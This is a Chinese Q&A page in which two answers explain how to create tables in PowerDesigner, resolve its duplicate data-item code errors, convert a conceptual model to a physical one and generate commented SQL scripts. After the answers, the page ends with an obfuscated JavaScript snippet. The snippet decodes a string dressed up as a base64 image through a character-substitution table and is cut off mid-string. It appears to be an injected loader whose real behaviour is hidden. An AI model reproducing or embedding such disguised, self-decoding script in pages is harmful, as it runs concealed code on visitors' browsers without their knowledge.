如何使用powerdesigner建数据表并生成脚本

2025-02-25 23:55:48
推荐回答(2个)
回答1:

打开PD软件:

1.新建概念模型(conceptual Data Model)

File-->New Model-->Conceptual Data Mode
或者点击工作区,右键-->New Model-->Conceptual Data Mode

2.打开模型时,会有方格线,去除方格线

Tools-->Dis

3.创建表并建立关系:

各个含义如下:

但是我在创建的过程中,报错如下:

在创建的过程中,人员表里有主键Code,性别表里也有主键Code,但是在创建的过程是报错,说是Code已经被占用了,

去除属性名重复的方法如下:

使用PD中,CDM默认实体属性不能重名,在CDM中唯一。可以通过设置,取消该限制。

选择 Tools->Model Options,取消 Data Item 组的Unique code 和 Allow reuse复选框。

Unique:设置实体属性是否唯一

Allow reuse:设置实体属性是否允许重用

注:默认使用唯一代码的好处是,改变属性,其他引用该属性的实体,都一起修改。该功能可以通过domain实现,设置属性在同一domain中,当需要修改字段类型的时候,修改domain一处即可。

4.将概念模型转换成物理模型

方法一:

操作:Tools-->GeneratePhysical Data Model

快捷键:ctrl+shift+p

注意:如果你的数据库是SQL server,请一定要选择要选择SQL Server 2008,

进入下图界面:(根据自己的需求切换相应的DBMS(数据库)点击【确定】就会将概念模型转换成物理模型).

??但是在生成的过程中报了一个实体属性重复的错误(如下图):

Checking data item ...
- Data Item name uniqueness
- Data Item code uniqueness
Error The following data item does not have unique code:
-> Data Item '编码' ()
-> Data Item '编码' ()
- Data Item not used
- Data Item used multiple times

解释:从上面的错误可以看出,PD给我们说,我在检查所有实体属性的过程中,发现了重复的属性,有两个相同的属性(Code和Name):编码

这是因为虽然我们在概念模型中:创建实体的过程中允许实体使用相同的编码和名称,但是我们并没有同时修改:在概念模型转换为物理模型的检查规则,我们这里,可以去修改检查实体的报错规则就可以了。

解决办法:

方法二:

General不变,Detail中将Check model去掉,就在转换为物理模型时不再检查实体错误了(当然这些错误是PD定义的默认规则)

5.物理模型如下:

6.生成带注释的sql

a.操作:Database-->Generate DataBase。。。,进入下图页面,

b、勾上以上复选框,否则当你备注为空的时候注释出不来;反之,如果你备注不为空那么名称(Name)才能作为注释出现!!

在Options可以选择要生存脚本的内容,可以选择是否创建数据库的脚本,选择要生成脚本的表



c、在selection中选择你需要生成sql的模块,指定输出目录。

7.PD图转换为脚本至此结束。

回答2:

打开你的powerdesinger.。

在这里新建你的物理模型。。

在这里点击确定就可以了。。

接下来在你新建完的那个图标上新建一个的table就可以了。

现在你就可以在这里编写你的table表了。

最后生成的效果就在这里了。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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